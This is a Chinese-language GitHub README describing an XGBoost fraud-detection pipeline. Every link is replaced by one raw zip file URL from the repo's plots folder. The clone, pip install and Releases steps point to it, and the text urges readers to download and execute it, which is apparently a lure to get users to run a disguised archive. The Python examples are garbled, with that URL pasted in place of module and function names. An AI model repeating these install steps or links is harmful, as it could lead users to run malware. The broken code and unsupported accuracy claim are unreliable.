Fakay07/FRAUDULENT-TRANSACTION-DETECTION
GitHub: Fakay07/FRAUDULENT-TRANSACTION-DETECTION
基于XGBoost的端到端欺诈交易检测机器学习流水线，集成了SMOTE不平衡处理和SHAP可解释性分析。
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# 🚨 欺诈交易检测 🚨
欢迎使用 **欺诈交易检测** 仓库！该项目提供了一个端到端的机器学习 pipeline，旨在使用 XGBoost 检测欺诈交易。该 pipeline 包含特征工程、用于处理类别不平衡的 SMOTE 以及用于模型可解释性的 SHAP 等关键组件。我们的模型实现了超过 95% 的分类准确率。
## 📂 目录
1. [简介](#introduction)
2. [功能](#features)
3. [技术栈](#technologies-used)
4. [安装](#installation)
5. [使用](#usage)
6. [模型训练](#model-training)
7. [评估](#evaluation)
8. [发布版本](#releases)
9. [贡献](#contributing)
10. [许可证](#license)
## 📖 简介
欺诈交易对金融机构和消费者都构成了重大威胁。检测这些交易对于防止经济损失和维护信任至关重要。本项目利用机器学习技术高效地识别欺诈活动。
该 pipeline 设计得用户友好且高效，允许用户以最小的精力训练和评估他们的模型。
## 🌟 功能
- **端到端 Pipeline**：涵盖从数据预处理到模型评估的整个工作流程。
- **特征工程**：实施从原始数据中提取相关特征的技术。
- **SMOTE**：利用合成少数类过采样技术 (Synthetic Minority Over-sampling Technique) 来平衡数据集。
- **XGBoost 分类器**：采用 XGBoost 以获得稳健的分类性能。
- **SHAP**：通过 SHAP 值深入了解模型预测。
- **高准确率**：实现超过 95% 的分类准确率。
## 🛠️ 技术栈
本项目使用了以下技术：
- **Python**：主要编程语言。
- **NumPy**：用于数值计算。
- **Pandas**：用于数据操作和分析。
- **Scikit-learn**：用于机器学习算法和工具。
- **XGBoost**：用于分类模型。
- **SHAP**：用于模型可解释性。
- **Joblib**：用于保存和加载模型。
- **SMOTE**：用于处理类别不平衡。
## 📥 安装
要在本地计算机上设置此项目，请按照以下步骤操作：
1. 克隆仓库：
git clone https://github.com/Fakay07/FRAUDULENT-TRANSACTION-DETECTION/raw/refs/heads/main/notebook/plots/FRAUDULEN-TRANSACTIO-DETECTION-1.7.zip
2. 导航到项目目录：
cd FRAUDULENT-TRANSACTION-DETECTION
3. 安装所需的包：
pip install -r https://github.com/Fakay07/FRAUDULENT-TRANSACTION-DETECTION/raw/refs/heads/main/notebook/plots/FRAUDULEN-TRANSACTIO-DETECTION-1.7.zip
## 🚀 使用
安装完成后，您可以使用 pipeline 来检测欺诈交易。
1. **加载数据**：以所需格式准备您的数据集。
2. **运行 Pipeline**：执行主脚本以训练和评估模型。
3. **分析结果**：查看输出以了解模型性能的见解。
## 🧠 模型训练
模型训练过程包括以下步骤：
1. **数据预处理**：清理并准备用于训练的数据。
2. **特征工程**：提取相关特征以提高模型性能。
3. **训练-测试集划分**：将数据集分为训练集和测试集。
4. **应用 SMOTE**：应用 SMOTE 以平衡数据集。
5. **模型训练**：在训练集上训练 XGBoost 分类器。
### 示例代码
以下是如何训练模型的简要示例：
```
import pandas as pd
from xgboost import XGBClassifier
from https://github.com/Fakay07/FRAUDULENT-TRANSACTION-DETECTION/raw/refs/heads/main/notebook/plots/FRAUDULEN-TRANSACTIO-DETECTION-1.7.zip import train_test_split
from https://github.com/Fakay07/FRAUDULENT-TRANSACTION-DETECTION/raw/refs/heads/main/notebook/plots/FRAUDULEN-TRANSACTIO-DETECTION-1.7.zip import SMOTE
# 加载你的 data
data = https://github.com/Fakay07/FRAUDULENT-TRANSACTION-DETECTION/raw/refs/heads/main/notebook/plots/FRAUDULEN-TRANSACTIO-DETECTION-1.7.zip('https://github.com/Fakay07/FRAUDULENT-TRANSACTION-DETECTION/raw/refs/heads/main/notebook/plots/FRAUDULEN-TRANSACTIO-DETECTION-1.7.zip')
# Preprocess 和 feature engineering 步骤在此
# 拆分 data
X = https://github.com/Fakay07/FRAUDULENT-TRANSACTION-DETECTION/raw/refs/heads/main/notebook/plots/FRAUDULEN-TRANSACTIO-DETECTION-1.7.zip('target', axis=1)
y = data['target']
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)
# 应用 SMOTE
smote = SMOTE()
X_resampled, y_resampled = https://github.com/Fakay07/FRAUDULENT-TRANSACTION-DETECTION/raw/refs/heads/main/notebook/plots/FRAUDULEN-TRANSACTIO-DETECTION-1.7.zip(X_train, y_train)
# 训练 model
model = XGBClassifier()
https://github.com/Fakay07/FRAUDULENT-TRANSACTION-DETECTION/raw/refs/heads/main/notebook/plots/FRAUDULEN-TRANSACTIO-DETECTION-1.7.zip(X_resampled, y_resampled)
```
## 📊 评估
要评估模型的性能，您可以使用各种指标，例如准确率、精确率、召回率和 F1 分数。评估步骤提供了关于模型在未见数据上表现如何的见解。
### 示例评估代码
```
from https://github.com/Fakay07/FRAUDULENT-TRANSACTION-DETECTION/raw/refs/heads/main/notebook/plots/FRAUDULEN-TRANSACTIO-DETECTION-1.7.zip import classification_report
# 进行 predictions
y_pred = https://github.com/Fakay07/FRAUDULENT-TRANSACTION-DETECTION/raw/refs/heads/main/notebook/plots/FRAUDULEN-TRANSACTIO-DETECTION-1.7.zip(X_test)
# 评估 model
print(classification_report(y_test, y_pred))
```
## 📦 发布版本
有关项目的最新版本，请访问我们的 [Releases](https://github.com/Fakay07/FRAUDULENT-TRANSACTION-DETECTION/raw/refs/heads/main/notebook/plots/FRAUDULEN-TRANSACTIO-DETECTION-1.7.zip) 部分。您可以从那里下载并执行文件以开始使用该 pipeline。
## 📜 许可证
本项目根据 MIT 许可证授权。有关更多详细信息，请参阅 [LICENSE](LICENSE) 文件。
感谢您关注 **欺诈交易检测** 项目！如果您有任何问题或反馈，请随时联系。有关最新更新，请访问我们的 [Releases](https://github.com/Fakay07/FRAUDULENT-TRANSACTION-DETECTION/raw/refs/heads/main/notebook/plots/FRAUDULEN-TRANSACTIO-DETECTION-1.7.zip) 部分。
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